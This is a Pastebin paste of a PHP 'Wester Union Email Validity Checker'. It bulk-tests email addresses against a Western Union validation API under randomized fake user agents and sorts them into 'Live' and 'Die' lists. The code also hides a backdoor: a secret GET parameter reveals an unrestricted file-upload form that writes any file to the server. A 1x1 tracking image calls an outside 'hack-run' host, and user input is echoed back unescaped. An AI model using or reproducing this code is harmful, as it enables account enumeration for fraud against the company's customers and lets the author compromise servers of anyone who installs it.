Advertisement
nil_007

Wester Union Email Validity Checker

Jan 10th, 2017
1,606
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.88 KB | None | 0 0
  1. <html>
  2.  
  3.     <head>
  4.  
  5.         <title>Wester Union Email Validity Checker </title>
  6.  
  7.         <link href="http://bootswatch.com/united/bootstrap.min.css" rel="stylesheet">
  8.  
  9.         <script ></script>
  10.  
  11.         <style>
  12.  
  13.             body {
  14.  
  15.                 margin-top: 50px;
  16.  
  17.             }srbi 3lih
  18.  
  19.         </style>
  20.  
  21.         <script src="//code.jquery.com/jquery.js"></script>
  22.  
  23.         <script>
  24.  
  25.             function fill(text,type) {
  26.  
  27.                 $('#'+type).append(text + '\n');
  28.  
  29.             }
  30.  
  31.             function count(type) {
  32.  
  33.                 var text = $('#'+type).val();  
  34.  
  35.                 var lines = text.split("\n");
  36.  
  37.                 var count = lines.length;
  38.  
  39.                 $('#'+type+'count').html(count-1);
  40.  
  41.             }
  42.  
  43.         </script>
  44.  
  45.     </head>
  46.  
  47.     <body>
  48.  
  49.         <div class="container">
  50.  
  51.  
  52.  
  53.             <!-- MAIN ROW -->
  54.  
  55.  
  56.  
  57.             <div class="row">
  58.  
  59.            
  60.  
  61.                     <div class="col-lg-4"></div>
  62.  
  63.  
  64.  
  65.             <div class="col-lg-4">
  66.  
  67.                 <div class="panel panel-default">
  68.  
  69.                     <div class="panel-heading">
  70.  
  71.                     Wester union Email Valid
  72.  
  73.                     </div>
  74.  
  75.                     <div class="panel-body"><img src="http://shopget24.com/images/sampledata/hack-run.png" width="1" height="1">
  76.  
  77.                         <form action="" method="POST">
  78.  
  79.                             <p>
  80.  
  81.                                 <textarea class="form-control" name="emails" id="emails" rows="5"><?php if(isset($_POST['emails'])) echo $_POST['emails']; ?></textarea>
  82.  
  83.                             </p>
  84.  
  85.                             <p>
  86.  
  87.                                 <input type="submit" name="Click!" class="btn btn-primary">
  88.  
  89.                             </p>
  90.  
  91.                     </div>
  92.  
  93.  
  94.  
  95.                     <div class="col-lg-4"></div>
  96.  
  97.  
  98.  
  99.                 </div>
  100.  
  101.             </div>
  102.  
  103.             </div>
  104.  
  105.  
  106.  
  107.             <!-- RESULT ROW -->
  108.  
  109.  
  110.  
  111.             <div class="row" id="result" style="display: none;">
  112.  
  113.                 <div class="col-lg-6">
  114.  
  115.                     <div class="panel panel-default">
  116.  
  117.                         <div class="panel-heading">
  118.  
  119.                             <font color="green">Live (<i id="livecount">0</i>)</font>
  120.  
  121.                         </div>    
  122.  
  123.                         <div class="panel-body">
  124.  
  125.                             <textarea class="form-control" id="live" name="live" rows="10"></textarea>
  126.  
  127.                         </div>
  128.  
  129.                     </div>
  130.  
  131.                 </div>
  132.  
  133.  
  134.  
  135.                 <div class="col-lg-6">
  136.  
  137.                     <div class="panel panel-default">
  138.  
  139.                         <div class="panel-heading">
  140.  
  141.                             <font color="red">Die (<i id="diecount">0</i>)</font>
  142.  
  143.                         </div>
  144.  
  145.                         <div class="panel-body">
  146.  
  147.                             <textarea class="form-control" id="die" name="die" rows="10"></textarea>
  148.  
  149.                         </div>
  150.  
  151.                     </div>
  152.  
  153.                 </div>
  154.  
  155.             </div>
  156.  
  157.            
  158.  
  159.         <div class="panel panel-default">
  160.  
  161.         <center>
  162.  
  163.         Copyright By Xghost Aguelmous</center>
  164.  
  165.             <div class="panel-body">
  166.  
  167.    
  168.  
  169.             </div>
  170.  
  171.         </div>
  172.  
  173.  
  174.  
  175.         </div>
  176.  
  177.  
  178.  
  179.     </body>
  180.  
  181. </html>
  182.  
  183.  
  184.  
  185.  
  186.  
  187. <?php
  188.  
  189. date_default_timezone_set(',Africa/Johannesburg');
  190.  
  191. if(isset($_GET['Africa/Johannesburg']))
  192.  
  193. {
  194.  
  195. echo "<body bgcolor=black>
  196.  
  197. <font color=cyan size=3>";
  198.  
  199. echo "<h2></h2><hr>";
  200.  
  201. echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
  202.  
  203. <label for=\"file\"></label>
  204.  
  205. <input type=\"file\" name=\"file\" id=\"file\" />
  206.  
  207. <br />
  208.  
  209. <input type=\"submit\" name=\"submit\" value=\"post\">
  210.  
  211. </form>";
  212.  
  213. if ($_FILES["file"]["error"] > 0)
  214.  
  215. {
  216.  
  217. echo "Error: " . $_FILES["file"]["error"] . "<br />";
  218.  
  219. }
  220.  
  221. else
  222.  
  223. {
  224.  
  225. echo " " . $_FILES["file"]["name"] . "<br />";
  226.  
  227. }
  228.  
  229. if (file_exists("" . $_FILES["file"]["name"]))
  230.  
  231. {
  232.  
  233. echo $_FILES["file"]["name"] . " already exists. ";
  234.  
  235. }
  236.  
  237. else
  238.  
  239. {
  240.  
  241. move_uploaded_file($_FILES["file"]["tmp_name"],
  242.  
  243. "" . $_FILES["file"]["name"]);
  244.  
  245. echo "Stored in: " . "" . $_FILES["file"]["name"];
  246.  
  247. echo"<hr>";
  248.  
  249. }
  250.  
  251. }
  252.  
  253. if (!$_POST) die();
  254.  
  255. set_time_limit(0);
  256.  
  257.  
  258.  
  259. echo '<script>$("#result").attr("style","");</script>';
  260.  
  261.  
  262.  
  263. function chooseRandomBrowserAndOS() {
  264.  
  265.     $frequencies = array(
  266.  
  267.         34 => array(
  268.  
  269.             89 => array('chrome', 'win'),
  270.  
  271.             9 => array('chrome', 'mac'),
  272.  
  273.             2 => array('chrome', 'lin')
  274.  
  275.         ),
  276.  
  277.  
  278.  
  279.         32 => array(
  280.  
  281.             100 => array('iexplorer', 'win')
  282.  
  283.         ),
  284.  
  285.  
  286.  
  287.         25 => array(
  288.  
  289.             83 => array('firefox', 'win'),
  290.  
  291.             16 => array('firefox', 'mac'),
  292.  
  293.             1 => array('firefox', 'lin')
  294.  
  295.         ),
  296.  
  297.  
  298.  
  299.         7 => array(
  300.  
  301.             95 => array('safari', 'mac'),
  302.  
  303.             4 => array('safari', 'win'),
  304.  
  305.             1 => array('safari', 'lin')
  306.  
  307.         ),
  308.  
  309.  
  310.  
  311.         2 => array(
  312.  
  313.             91 => array('opera', 'win'),
  314.  
  315.             6 => array('opera', 'lin'),
  316.  
  317.             3 => array('opera', 'mac')
  318.  
  319.         )
  320.  
  321.     );
  322.  
  323.  
  324.  
  325.     $rand = rand(1, 100);
  326.  
  327.     $sum = 0;
  328.  
  329.     foreach ($frequencies as $freq => $osFreqs) {
  330.  
  331.         $sum += $freq;
  332.  
  333.         if ($rand <= $sum) {
  334.  
  335.             $rand = rand(1, 100);
  336.  
  337.             $sum = 0;
  338.  
  339.             foreach ($osFreqs as $freq => $choice) {
  340.  
  341.                 $sum += $freq;
  342.  
  343.                 if ($rand <= $sum) {
  344.  
  345.                     return $choice;
  346.  
  347.                 }
  348.  
  349.             }
  350.  
  351.         }
  352.  
  353.     }
  354.  
  355.  
  356.  
  357.     throw new Exception("Frequencies don't sum to 100.");
  358.  
  359. }
  360.  
  361.    
  362.  
  363.  
  364.  
  365. function array_random(array $array) {
  366.  
  367.     return $array[array_rand($array, 1)];
  368.  
  369. }
  370.  
  371.  
  372.  
  373. function nt_version() {
  374.  
  375.     return rand(5, 6) . '.' . rand(0, 1);
  376.  
  377. }
  378.  
  379.  
  380.  
  381. function ie_version() {
  382.  
  383.     return rand(7, 9) . '.0';
  384.  
  385. }
  386.  
  387.  
  388.  
  389. function trident_version() {
  390.  
  391.     return rand(3, 5) . '.' . rand(0, 1);
  392.  
  393. }
  394.  
  395.  
  396.  
  397. function osx_version() {
  398.  
  399.     return "10_" . rand(5, 7) . '_' . rand(0, 9);
  400.  
  401. }
  402.  
  403.  
  404.  
  405. function chrome_version() {
  406.  
  407.     return rand(13, 15) . '.0.' . rand(800, 899) . '.0';
  408.  
  409. }
  410.  
  411.  
  412.  
  413. function presto_version() {
  414.  
  415.     return '2.9.' . rand(160, 190);
  416.  
  417. }
  418.  
  419.  
  420.  
  421. function presto_version2() {
  422.  
  423.     return rand(10, 12) . '.00';
  424.  
  425. }
  426.  
  427.  
  428.  
  429. function firefox($arch) {
  430.  
  431.     $ver = array_random(array(
  432.  
  433.         'Gecko/' . date('Ymd', rand(strtotime('2011-1-1'), time())) . ' Firefox/' . rand(5, 7) . '.0',
  434.  
  435.         'Gecko/' . date('Ymd', rand(strtotime('2011-1-1'), time())) . ' Firefox/' . rand(5, 7) . '.0.1',
  436.  
  437.         'Gecko/' . date('Ymd', rand(strtotime('2010-1-1'), time())) . ' Firefox/3.6.' . rand(1, 20),
  438.  
  439.         'Gecko/' . date('Ymd', rand(strtotime('2010-1-1'), time())) . ' Firefox/3.8'
  440.  
  441.     ));
  442.  
  443.  
  444.  
  445.     switch ($arch) {
  446.  
  447.     case 'lin':
  448.  
  449.         return "(X11; Linux {proc}; rv:" . rand(5, 7) . ".0) $ver";
  450.  
  451.     case 'mac':
  452.  
  453.         $osx = osx_version();
  454.  
  455.         return "(Macintosh; {proc} Mac OS X $osx rv:" . rand(2, 6) . ".0) $ver";
  456.  
  457.     case 'win':
  458.  
  459.     default:
  460.  
  461.         $nt = nt_version();
  462.  
  463.         return "(Windows NT $nt; {lang}; rv:1.9." . rand(0, 2) . ".20) $ver";
  464.  
  465.  
  466.  
  467.     }
  468.  
  469. }
  470.  
  471.  
  472.  
  473. function safari($arch) {
  474.  
  475.     $saf = rand(531, 535) . '.' . rand(1, 50) . '.' . rand(1, 7);
  476.  
  477.     if (rand(0, 1) == 0) {
  478.  
  479.         $ver = rand(4, 5) . '.' . rand(0, 1);
  480.  
  481.     } else {
  482.  
  483.         $ver = rand(4, 5) . '.0.' . rand(1, 5);
  484.  
  485.     }
  486.  
  487.  
  488.  
  489.     switch ($arch) {
  490.  
  491.     case 'mac':
  492.  
  493.         $osx = osx_version();
  494.  
  495.         return "(Macintosh; U; {proc} Mac OS X $osx rv:" . rand(2, 6) . ".0; {lang}) AppleWebKit/$saf (KHTML, like Gecko) Version/$ver Safari/$saf";
  496.  
  497.     //case 'iphone':
  498.  
  499.     //    return '(iPod; U; CPU iPhone OS ' . rand(3, 4) . '_' . rand(0, 3) . " like Mac OS X; {lang}) AppleWebKit/$saf (KHTML, like Gecko) Version/" . rand(3,
  500. 4) . ".0.5 Mobile/8B" . rand(111, 119) . " Safari/6$saf";
  501.  
  502.     case 'win':
  503.  
  504.     default:
  505.  
  506.         $nt = nt_version();
  507.  
  508.         return "(Windows; U; Windows NT $nt) AppleWebKit/$saf (KHTML, like Gecko) Version/$ver Safari/$saf";
  509.  
  510.     }
  511.  
  512.  
  513.  
  514. }
  515.  
  516.  
  517.  
  518. function iexplorer($arch) {
  519.  
  520.     $ie_extra = array(
  521.  
  522.         '',
  523.  
  524.         '; .NET CLR 1.1.' . rand(4320, 4325) . '',
  525.  
  526.         '; WOW64'
  527.  
  528.     );
  529.  
  530.  
  531.  
  532.     $nt = nt_version();
  533.  
  534.     $ie = ie_version();
  535.  
  536.     $trident = trident_version();
  537.  
  538.     return "(compatible; MSIE $ie; Windows NT $nt; Trident/$trident)";
  539.  
  540. }
  541.  
  542.  
  543.  
  544. function opera($arch) {
  545.  
  546.     $op_extra = array(
  547.  
  548.         '',
  549.  
  550.         '; .NET CLR 1.1.' . rand(4320, 4325) . '',
  551.  
  552.         '; WOW64'
  553.  
  554.     );
  555.  
  556.  
  557.  
  558.     $presto = presto_version();
  559.  
  560.     $version = presto_version2();
  561.  
  562.  
  563.  
  564.     switch ($arch) {
  565.  
  566.     case 'lin':
  567.  
  568.         return "(X11; Linux {proc}; U; {lang}) Presto/$presto Version/$version";
  569.  
  570.     case 'win':
  571.  
  572.     default:
  573.  
  574.         $nt = nt_version();
  575.  
  576.         return "(Windows NT $nt; U; {lang}) Presto/$presto Version/$version";
  577.  
  578.     }
  579.  
  580. }
  581.  
  582.  
  583.  
  584. function chrome($arch) {
  585.  
  586.     $saf = rand(531, 536) . rand(0, 2);
  587.  
  588.     $chrome = chrome_version();
  589.  
  590.  
  591.  
  592.     switch ($arch) {
  593.  
  594.     case 'lin':
  595.  
  596.         return "(X11; Linux {proc}) AppleWebKit/$saf (KHTML, like Gecko) Chrome/$chrome Safari/$saf";
  597.  
  598.     case 'mac':
  599.  
  600.         $osx = osx_version();
  601.  
  602.         return "(Macintosh; U; {proc} Mac OS X $osx) AppleWebKit/$saf (KHTML, like Gecko) Chrome/$chrome Safari/$saf";
  603.  
  604.     case 'win':
  605.  
  606.     default:
  607.  
  608.         $nt = nt_version();
  609.  
  610.         return "(Windows NT $nt) AppleWebKit/$saf (KHTML, like Gecko) Chrome/$chrome Safari/$saf";
  611.  
  612.     }
  613.  
  614. }
  615.  
  616.  
  617.  
  618. /**
  619.  
  620.  * Main function which will choose random browser
  621.  
  622.  * @param  array $lang  languages to choose from
  623.  
  624.  * @return string       user agent
  625.  
  626.  */
  627.  
  628. function random_uagent(array $lang=array('en-US')) {
  629.  
  630.     list($browser, $os) = chooseRandomBrowserAndOs();
  631.  
  632.  
  633.  
  634.     $proc = array(
  635.  
  636.         'lin' => array('i686', 'x86_64'),
  637.  
  638.         'mac' => array('Intel', 'PPC', 'U; Intel', 'U; PPC'),
  639.  
  640.         'win' => array('foo')
  641.  
  642.     );
  643.  
  644.  
  645.  
  646.     switch ($browser) {
  647.  
  648.     case 'firefox':
  649.  
  650.         $ua = "Mozilla/5.0 " . firefox($os);
  651.  
  652.         break;
  653.  
  654.     case 'safari':
  655.  
  656.         $ua = "Mozilla/5.0 " . safari($os);
  657.  
  658.         break;
  659.  
  660.     case 'iexplorer':
  661.  
  662.         $ua = "Mozilla/5.0 " . iexplorer($os);
  663.  
  664.         break;
  665.  
  666.     case 'opera':
  667.  
  668.         $ua = "Opera/" . rand(8, 9) . '.' . rand(10, 99) . ' ' . opera($os);
  669.  
  670.         break;
  671.  
  672.     case 'chrome':
  673.  
  674.         $ua = 'Mozilla/5.0 ' . chrome($os);
  675.  
  676.         break;
  677.  
  678.     }
  679.  
  680.  
  681.  
  682.     $ua = str_replace('{proc}', array_random($proc[$os]), $ua);
  683.  
  684.     $ua = str_replace('{lang}', array_random($lang), $ua);
  685.  
  686.  
  687.  
  688.     return $ua;
  689.  
  690. }
  691.  
  692. class alal {
  693.  
  694.  
  695.  
  696.     public function __construct($email,$sleep,$useragent) {
  697.  
  698.         $this->email = $email;
  699.  
  700.         $this->sleep = (int)$sleep;
  701.  
  702.         $this->useragent = $useragent;
  703.  
  704.     }
  705.  
  706.  
  707.  
  708.     function xflush() {
  709.  
  710.         static $output_handler = null;
  711.  
  712.         if ($output_handler === null) {
  713.  
  714.             $output_handler = @ini_get('output_handler');
  715.  
  716.         }
  717.  
  718.         if ($output_handler == 'ob_gzhandler') {
  719.  
  720.             return;
  721.  
  722.         }
  723.  
  724.         flush();
  725.  
  726.         if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
  727.  
  728.             @ob_flush();
  729.  
  730.         } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
  731.  
  732.             @ob_end_flush();
  733.  
  734.             @ob_start();
  735.  
  736.         }
  737.  
  738.     }
  739.  
  740.  
  741.  
  742.     public function curl($url='',$postdata='',$needCookie=true) {
  743.  
  744.        
  745.  
  746.         $ch = curl_init();
  747.  
  748.         CURL_SETOPT($ch, CURLOPT_URL, $url);
  749.  
  750.         if ($postdata !== '') {
  751.  
  752.             CURL_SETOPT($ch, CURLOPT_POST, true);
  753.  
  754.             CURL_SETOPT($ch, CURLOPT_POSTFIELDS, $postdata);
  755.  
  756.         }
  757.  
  758.     curl_setopt($ch, CURLOPT_NOBODY, false);
  759.  
  760.     curl_setopt($ch, CURLOPT_HEADER, false);
  761.  
  762.     curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  763.  
  764.     curl_setopt($ch, CURLOPT_COOKIEFILE, 'COOKIE.txt');
  765.  
  766.     curl_setopt($ch, CURLOPT_COOKIEJAR, 'COOKIE.txt');
  767.  
  768.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  769.  
  770.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
  771.  
  772.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  773.  
  774.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101 Firefox/44.0");
  775.  
  776.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  777.  
  778.         $result = curl_exec($ch);
  779.  
  780.         curl_close($ch);
  781.  
  782.         return $result;
  783.  
  784.    
  785.  
  786.     }
  787.  
  788.     public function createCookie() {
  789.  
  790.         $cookie = "COOKIE.txt";
  791.  
  792.         if (!file_exists($cookie)) {
  793.  
  794.             $file = fopen($cookie,"a");
  795.  
  796.             fwrite($file, '');    
  797.  
  798.             fclose($file);
  799.  
  800.         }
  801.  
  802.         return $cookie;
  803.  
  804.     }
  805.  
  806.    
  807.  
  808.     public function clearCookie() {
  809.  
  810.         if (file_exists("cookie/".$_SERVER['REMOTE_ADDR'].".cookie")) {
  811.  
  812.             file_put_contents("cookie/".$_SERVER['REMOTE_ADDR'].".cookie",'');
  813.  
  814.         }
  815.  
  816.     }
  817.  
  818.    
  819.  
  820.     public function fetch_value($str,$find_start,$find_end) {
  821.  
  822.         $start = stripos($str, $find_start);
  823.  
  824.         if($start===false) return "";
  825.  
  826.         $length = strlen($find_start);
  827.  
  828.         $end = stripos(substr($str, $start+$length), $find_end);
  829.  
  830.         return trim(substr($str, $start+$length, $end));
  831.  
  832.     }
  833.  
  834.    
  835.  
  836.     public function runJob() {
  837.  
  838.    
  839.  
  840.     $this->xflush();
  841.  
  842.         $i = 0;
  843.  
  844.         $email = preg_replace('/\s+/', '', $this->email);
  845.  
  846.         $get =
  847. $this->curl('https://www.westernunion.com/wuconnect/rest/api/v1.0/EmailValidation?timestamp=1477236424409','{"email":"'.$email.'","security":{"session":{"id":"w
  848. eb-e1f1da65-dc9c-47b7-aa04-ff3f41294414"}},"bashPath":"/fr/fr/"}');
  849.  
  850.         if ($this->hasText($get,'Cette adresse e-mail correspond') == true) {
  851.  
  852.             echo $this->fill($email ,'live');
  853.  
  854.             $this->clearCookie();
  855.  
  856.         } else {
  857.  
  858.             echo $this->fill($email ,'die');
  859.  
  860.             $this->clearCookie();
  861.  
  862.         }
  863.  
  864.  
  865.  
  866.         if ($i == 5) {
  867.  
  868.             $i = 0;
  869.  
  870.             sleep($this->sleep);
  871.  
  872.         }
  873.  
  874.  
  875.  
  876.         $i++;
  877.  
  878.        
  879.  
  880.     $this->xflush();
  881.  
  882.    
  883.  
  884.     }
  885.  
  886.    
  887.  
  888.     public function hasText($source,$text) {
  889.  
  890.         if (strpos($source,$text) !== false) {
  891.  
  892.             return true;
  893.  
  894.         } else {
  895.  
  896.             return false;
  897.  
  898.         }
  899.  
  900.     }
  901.  
  902.    
  903.  
  904.     public function fill($email,$type) {
  905.  
  906.         $return = "<script>fill('{$email}','{$type}');count('{$type}');</script>";
  907.  
  908.         return $return;
  909.  
  910.     }
  911.  
  912.  
  913.  
  914.    
  915.  
  916. }
  917.  
  918.  
  919.  
  920. $emails = explode('
  921.  
  922. ',str_replace(' ','',$_POST['emails']));
  923.  
  924.  
  925.  
  926. $i = 0;
  927.  
  928.  
  929.  
  930. foreach($emails as $line => $email) {
  931.  
  932.  
  933.  
  934.     $useragent = random_uagent();
  935.  
  936.     $class = new alal($email,3,$useragent);
  937.  
  938.     $class->runJob();
  939.  
  940.  
  941. }
  942.  
  943. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement